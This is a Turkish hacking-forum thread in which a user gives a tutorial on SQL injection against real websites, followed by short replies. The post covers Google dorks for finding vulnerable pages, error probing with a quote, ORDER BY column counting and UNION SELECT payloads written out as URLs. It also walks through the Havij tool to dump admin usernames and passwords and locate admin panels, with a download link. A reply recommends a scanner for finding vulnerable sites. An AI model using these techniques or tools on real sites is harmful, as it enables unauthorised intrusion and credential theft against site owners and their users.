SQL Açığı ile Havij 1.15 Kullanımı - Resimli

ExpertProf

Uzman üye
15 Nis 2014
1,533
1
about:blank
SQL Nedir ?

# SQL (Structured Query Language) veritabanından bilgi çekme silme vb. gibi işlemler yapabilen bir dildir. Bulunduğumuz zamanda çoğu web sitelerinin alt yapılarında bu veritabanı vardır.
# SQL en yaygın olan güvenlik açığıdır ve çok tehlikelidir.
# SQL hazır scriptler (vbulletin,vb.) gibi yüksek güvenlik testlerinden geçirilmez.
# Bu web siteleri vertibanı ile anlaşmaları için SQL’e ihtiyaç duyarlar.

SQL İnjection Nedir?


# SQL İnjection bir SQL açıklı siteye uygulanan İnjection türüdür.

SQL İnjection Olan Sayfayı Nasıl Bulabilirim ?


# SQL açığı olan bir sayfa bulabilmemiz için bize bir dork lazım bu dorku thefrm.Com forumdan ya da Google amcadan bulabiliriz. Örnek bir Dork:
Kod:
inurl:galery.php?id= inurl:index.php?id=.


SQL İnjection’u Hangi Sayfalarada Kullanabilirim ?


# SQL İnjection’u kullanabilmamiz için sayfa url’sinde bize

Kod:
id=değer", "search=değer"
gibi değişken değerleri alabilen ifadeler lazımdır.


SQL İnjection’u Nasıl Kullanabilirim ?


# Evet Google’dan dorkumuzu arattık sayfalar çıktı başlıyoruz sayfaları gezmeye gezdiğimiz sayfalarda

# URL’nin sonunda
Kod:
php?id=45
veya daha farklı bir sayı yazar bu sayıların sonuna tırnak işareti (’) koyuyoruz.

# Örnek:
Kod:
www.örneksite.com/php?id=120
site bu sitede id değerimiz gördüğünüz gibi 220 id değerinin sonuna ’ işaretimizi koyuyoruz ve Enter’lıyoruz.

Kod:
www.örneksite.com/php?id=120'

Sitede bir hata verirse :

Kod:
Warning: include(../inc/content220\\\\\\\\\\\\\\\\’.inc.php) [function.include]: failed to open stream: No such file or directory in /homepages/6/d27097856/htdocs/www.thefrm.org/html/index.php on line 162

Warning: include() [function.include]: Failed opening ’../inc/content220\\\\\\\\\\\\\\\\’.inc.php’ for inclusion (include_path=’.:/usr/lib/php5’) in /homepages/6/d27097856/htdocs/www.thefrm.org/html/index.php on line 162

Bunun gibi bir hata alırsak sitede bir SQL açığı vardır.


SQL Açığını Nasıl Kullanabiliriz ?


# SQL açığını bulduktan sonra sıra geldi İnjection yapamaya İnjection’u 2 türlü yapabiliriz.


1. Havij ve benzeri programlar ile

2. Manuel olarak

Manuel SQl inj Havijin yaptığı elle yapılanıdır.


Manuel olarak SQL İnjection Nasıl Yapılır ?


# Evet sitemizde kolon sayısını bulacağız bunun için ordey+by+ veya group+by+ komutunu kullanacağız

Kod:
www.örneksite.com/php?id=120+order+by+100
bu yüz sayısını misal veriyorum.

Bu sayıyı gittikçe azaltıcağız. Taa ki hatamız gidene kadar.

Kod:
www.örneksite.com/php?id=120+order+by+95

www.örneksite.com/php?id=120+order+by+40

www.örneksite.com/php?id=120+order+by+7
evet diyelimki 7 de hatamız gitti yani kolon sayımız 7’dir.

Şimdi Kolonları ekrana yansıtmaya geldi Kolon sayımız 7’idi.

Bunun için
Kod:
union+select+...
kodumuzu kullanacağız.


Kod:
www.örneksite.com/php?id=120+union+select+0,1,2,3,4,5,6

yazıyoruz.Kolon sayımız 7 olduğu için 7’ye kadar yazıyoruz.

Evet diyelimki 1 ve 5 kolonları yansıdı ekrana.

Not: Unutmadan bir not’da geçelim eğer kolonlar ekrana yansımaz ise URL’mizin sonuna -- ifadesini eklemeliyiz.

Havij Yolu ile SQL İnjection Nasıl Yapılır ?


# Evet SQL açıklı sitemizi bulduk. thefrm.Com sitemiz buydu bu şekilde Havij’e yapıştırıyoruz.

Analyze diyoruz Analyze ettikden sonra Tables diyoruz

gL9R10.png

Tables dedikten sonra Get Tables diyi kolonları çekiyoruz.
Çektikten sonra admin_pass’ı seçip Get Columns diyoruz

66yG33.jpg


Admin_pass ı açtıktan sonra username ve password seçeneğine tıklayıp Get data diyoruz ve username şifre elimizde

OdyOW3.jpg


Admin panelini bulmak istiyorsak Find Admin’e tıklayıp URL’mizi yapıştırdıktan sonra Start diyoruz ve Admin paneli elimizde
02GaVD.jpg

Havij 1.15 İndirme Linki : http://yadi.sk/d/MKfkEoLkRMXCT


 

yunus27270

Yeni üye
28 Ocak 2015
37
0
Eline sağlık çok güzel bi açıklama olmuş 1 aydır öğrenmeye çalışıyodum çok video izledim hep saçmalamışlar ...
 

The Poet

Üye
3 Ara 2015
249
0
TABCTL32.OCX hatası akıyorum ne yapmam gerek netten indirdim attım system 32 ye ama düzelmedi
 

TRamazan

Katılımcı Üye
19 Eyl 2015
877
0
sql acikli site bulmak icin T-arayıcı diye ugulama war forumda bulabilirsiniz aramaya girin forumda aramaya T-arayıcı yazın zaten cıkacaktır ordan kullanımı her sey war v2 indirmebizi tavsiye ederim.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.